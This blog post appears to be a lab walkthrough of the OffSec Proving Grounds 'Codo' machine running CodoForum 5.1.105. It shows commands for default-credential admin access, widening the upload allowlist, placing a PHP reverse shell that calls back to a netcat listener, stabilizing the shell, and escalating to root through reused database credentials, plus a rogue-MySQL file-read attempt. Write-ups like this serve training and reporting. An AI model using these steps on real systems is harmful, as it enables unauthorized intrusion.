← All posts

Field notes / Security

Codo: OffSec Proving Grounds Practice Walkthrough

Target: 192.168.153.23 Platform: PG Practice OS: Ubuntu 20.04 Difficulty: Easy (10 points) Result: Root

Summary: CodoForum 5.1.105 running on Apache. Vendor-default administrative credentials ([REDACTED]) grant access to the admin panel. From there, the global-settings logo upload is abused to write a PHP reverse shell to a web-served directory, yielding a www-data shell. The CodoForum database password stored in config.php is reused for the system root account, giving a trivial privilege escalation via su.

The intended-looking upload vectors that appear in most public writeups (the category icon upload and the smiley upload) do not work on this instance - both accept the file, report success, and silently discard it. The only upload that persists to disk is the forum logo under Global Settings. That detail cost significant time and is the main lesson of this box.


1. Reconnaissance

Full TCP scan found only two open ports.

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)

SSH is current and unremarkable; the web app is the whole box. A loopback port scan performed later (via the SSRF in section 6) confirmed that only 22 and 3306 listen internally - there is no hidden service to pivot to.

Fetching the root of the site identifies the application immediately. The homepage embeds a codo_defs JavaScript object that leaks the application layout:

duri:  http://192.168.153.23/sites/default/
title: All topics | CODOLOGIC

The sites/default/ base path is worth noting early - it is where uploaded assets are served from.

A passive observation from the scan and the initial response: the PHPSESSID cookie is set without the HttpOnly flag (finding, see section 8).


2. Application fingerprint and default credentials

Browsing to /admin presents the CodoForum admin login. Default credentials work:

Username: admin
Password: admin

The admin dashboard reports the exact version:

Current version: V.5.1.105

CodoForum 5.1.105 is affected by CVE-2022-31854 (unrestricted file upload in the admin panel). That CVE is the conceptual basis for the foothold, though the specific upload field that works here differs from the public PoC.


3. Dead ends worth documenting

Before the working path, several plausible vectors were tested and ruled out. Recording these matters for a report's scope-of-testing section and saves the next person time.


4. The working vector - Global Settings logo upload

Global Settings (page=config) contains a logo upload field (forum_logo) and, critically, the three settings that govern all attachment uploads:

forum_attachments_path        assets/img/attachments
forum_attachments_exts        jpg,jpeg,png,gif,pjpeg,bmp,txt
forum_attachments_mimetypes   image/*,text/plain

Two things distinguish this form from the others:

  1. It actually writes the uploaded file to disk under sites/default/assets/img/attachments/, preserving the original filename.
  2. The allowed-extension and allowed-mimetype lists are themselves editable fields on the same form.

Step 1 - confirm the form persists files. Upload any file as the logo (a .gif copy of the payload was used) and verify:

curl -sI http://192.168.153.23/sites/default/assets/img/attachments/shell.gif
HTTP/1.1 200 OK

A 200 here is the breakthrough - this is the first upload on the box that survives. A .gif will not execute (Apache only hands .php to the interpreter), so it serves as an image containing PHP source. That is expected and simply proves the write primitive.

Step 2 - widen the filter. Because the extension and mimetype lists are user-controlled, add PHP to both:

Allowed Upload types (forum_attachments_exts):
    jpg,jpeg,png,gif,pjpeg,bmp,txt,php

Allowed Mimetypes (forum_attachments_mimetypes):
    image/*,text/plain,application/x-php

Save the settings.


5. Foothold: reverse shell as www-data

Prepare the payload (adjust LHOST to your VPN address):

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
sed -i "s/127.0.0.1/<LHOST>/; s/1234/4444/" shell.php
sed -n '49,50p' shell.php   # confirm $ip and $port took

Start a listener:

rlwrap nc -lvnp 4444

Upload shell.php as the forum logo through Global Settings (the widened filter now accepts it), then trigger it:

curl -s http://192.168.153.23/sites/default/assets/img/attachments/shell.php

The curl hangs - that is the shell connecting back. The listener receives:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Stabilize the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# press Enter
export TERM=xterm

6. Privilege escalation: credential reuse

The database password lives in the CodoForum config, readable as www-data:

cat /var/www/html/sites/default/config.php
$config = array (
  'driver'   => 'mysql',
  'host'     => 'localhost',
  'database' => 'codoforumdb',
  'username' => 'codo',
  'password' => '[REDACTED]',
  ...
);

The database service password is reused for the system root account:

su -
# password: [REDACTED]
root@codo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codo:~# cat /root/proof.txt
[REDACTED ROOT FLAG]

Rooted.


7. Appendix - the rogue MySQL server detour

Before finding the logo upload, an alternate file-read path was explored through the Importer (page=system/importer), which takes database connection details and connects out to a host of the tester's choosing. This is a genuine SSRF (see finding 4). It was pointed at a rogue MySQL server on the attacker box to attempt LOAD DATA LOCAL INFILE, which can coerce a connecting client into sending arbitrary local files.

The mechanism worked end to end - the target authenticated to the fake server, received the file request, and responded - but every response was an empty \x02, indicating the PHP MySQL client has local_infile disabled (the default on modern mysqlnd). The technique is therefore closed on this target.

Two things came out of the detour that are still useful:


8. Findings summary

# Finding CWE Notes
1 Default administrative credentials ([REDACTED]) CWE-1392 Grants full admin panel access; root cause of the whole chain
2 Unrestricted file upload → RCE CWE-434 Global Settings logo field + user-editable extension allowlist
3 Credential reuse: DB password reused for system root CWE-522 The database password in config.php is reused for the root account
4 Authenticated SSRF via Importer db_host CWE-918 Accepts host:port; usable as an internal port scanner
5 Stored XSS via admin block editor CWE-79 HTML block renders raw on the public front page; chains with #6 below
6 Session cookie without HttpOnly CWE-1004 PHPSESSID; materially worse combined with the stored XSS
7 Verbose error / stack-trace disclosure CWE-209 Full paths and framework internals leaked on DB connection failure

Primary chain: #1 → #2 → #3 → root.


9. Lessons

← Back to the blog